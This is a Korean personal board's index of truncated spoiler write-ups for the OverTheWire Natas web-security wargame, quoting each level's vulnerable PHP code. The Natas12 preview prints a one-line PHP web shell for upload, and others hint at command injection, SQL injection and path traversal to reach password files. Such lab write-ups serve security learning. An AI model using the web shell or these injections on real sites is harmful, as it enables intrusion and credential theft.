메뉴 건너뛰기

노루발의 개인 게시판
List of Articles
번호 제목 글쓴이 조회 수 추천 수 날짜
34 망한거 (스포일러) Natas24 풀이 노루발 48   2020-03-19
오랫만의 Natas 풀이입니다. 어려워져서 좀 늦었네요. 접속하면 en/de 메뉴가 있고, 각 언어로 작성된 파일들을 보여준다. 소스 코드를 보면 통채로 파일을 include 해오는 것을 볼 수 있다: function safeinclude($filename){ // check for directory travers...  
33 망한거 (스포일러) Natas24 풀이 노루발 19   2020-03-17
이번에도 password를 입력해야 한다. 소스를 보자: if(array_key_exists("passwd",$_REQUEST)){ if(!strcmp($_REQUEST["passwd"],"<censored>")){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas25 Password: <censored...  
32 망한거 (스포일러) Natas23 풀이 노루발 16   2020-03-13
Password를 입력하면 Natas24의 password가 나오는 구조다: <?php if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"...  
31 망한거 (스포일러) Natas22 풀이 노루발 10   2020-03-13
이번 페이지에는 아무것도 없다. 소스를 보자: <? if(array_key_exists("revelio", $_GET)) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas23\n"; print "Password: <censored></pre>"; } ?> GET으로...  
30 망한거 (스포일러) Natas21 풀이 노루발 13   2020-03-13
이번에는 사이트가 2개이다: http://natas21.natas.labs.overthewire.org/ function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for ...  
29 망한거 (스포일러) Natas20 풀이 노루발 16   2020-03-13
이번에는 로그인 폼이 아니라 이름을 바꾸는 폼이 있다. 소스를 보자: session_set_save_handler( "myopen", "myclose", "myread", "mywrite", "mydestroy", "mygarbage"); session_start(); PHP의 기본 세션 핸들링 함수가 아니라 사용자가 정의한 함수로 동...  
28 망한거 (스포일러) Natas19 풀이 노루발 14   2020-03-13
This page uses mostly the same code as the previous level, but session IDs are no longer sequential... 세션 아이디가 숫자로 되어있지 않다는 뜻인가보다. 임의의 아이디로 로그인해서 세션 아이디가 어떻게 되어있나 보자: PHPSSID=3138362d ...? 일단...  
27 망한거 (스포일러) Natas18 풀이 노루발 9   2020-03-12
로그인창이 있고, admin 계정으로 로그인해야 한다. 소스를 보자: $showform = true; if(my_session_start()) { print_credentials(); $showform = false; } else { if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_RE...  
26 망한거 (스포일러) Natas17 풀이 노루발 16   2020-03-12
Natas15의 재탕이다. 소스를 보고 어떻게 꼬아놓았는지 알아보자: $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { //echo "This user exists.<br>"; } else { //echo "This user doesn't exist.<br>"; } } else { //echo "Err...  
25 망한거 (스포일러) Natas16 풀이 노루발 18   2020-03-12
Natas10의 재탕이다. 하지만 필터링을 좀 더 빡세게 한다: if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ;, | , " 등의 문자들도 ...  
24 망한거 (스포일러) Natas15 풀이 노루발 21   2020-03-11
이번에는 Username이 존재하는지 확인해주는 페이지다. 소스코드를 보자: 먼저 다음 테이블이 있다고 가정한다. /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ username과 password 값을 알아내...  
23 망한거 (스포일러) Natas14 풀이 노루발 12   2020-03-10
로그인 창이 주어진다. 로그인 부분의 PHP 소스는 다음과 같다: <? if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas14', '<censored>'); mysql_select_db('natas14', $link); $query = "SELECT * from users where ...  
22 망한거 (스포일러) Natas13 풀이 노루발 7   2020-03-10
이제는 보안 상의 이유로 이미지 파일만 받는다고 한다. 소스를 보면 다음의 부분을 확인할 수 있다: } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image"; PHP의 exif_imagetype 함수를 이용하여 파일이 실제 ...  
21 망한거 (스포일러) Natas12 풀이 노루발 15   2020-03-08
이번 과제에서는 파일을 올릴 수 있게 되어있다. 파일을 업로드해서 그 파일이 /etc/natas_webpass/natas13 파일을 읽게 하고, 그 결과를 뿌려주게 하면 될 것이다. 아래와 같은 내용의 shell.php를 저장한다. <?php echo shell_exec($_GET['cmd']); ?> 그리고...  
20 망한거 (스포일러) Natas11 풀이 노루발 19   2020-03-07
"Cookies are protected with XOR encryption" 쿠키를 확인하면 아래와 같은 형태의 데이터가 있다: "data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D" 이 데이터는 다음과 같은 함수로 암호화 되어 있는 것 같다: function xor_encrypt($i...  
19 망한거 (스포일러) Natas10 풀이 노루발 13   2020-03-07
<? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); } }...  
18 망한거 (스포일러) Natas9 풀이 노루발 11   2020-03-06
이번에도 소스코드를 보여준다: <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { passthru("grep -i $key dictionary.txt"); } ?> 넣은 값이 $key에 들어가고, "grep -i 넣은값 dictionary.txt" ...  
17 망한거 (스포일러) Natas8 풀이 노루발 8   2020-03-06
이번 문제도 소스코드를 알려준다: <? $encodedSecret = "3d3d516343746d4d6d6c315669563362"; function encodeSecret($secret) { return bin2hex(strrev(base64_encode($secret))); } if(array_key_exists("submit", $_POST)) { if(encodeSecret($_POST['secr...  
16 망한거 (스포일러) Natas7 풀이 노루발 10   2020-03-06
소스를 보면 /etc/natas_webpass/natas8에 패스워드가 있다고 한다. http://natas7.natas.labs.overthewire.org/etc/natas_webpass/natas8 하지만 위 주소로 들어가면 없는 경로라고 표시된다. home과 about의 주소를 보니 http://natas7.natas.labs.overthewi...  
15 망한거 (스포일러) Natas6 풀이 노루발 9   2020-03-06
친절하게 소스코드를 보여준다: <? include "includes/secret.inc"; if(array_key_exists("submit", $_POST)) { if($secret == $_POST['secret']) { print "Access granted. The password for natas7 is <censored>"; } else { print "Wrong secret"; } } ?> s...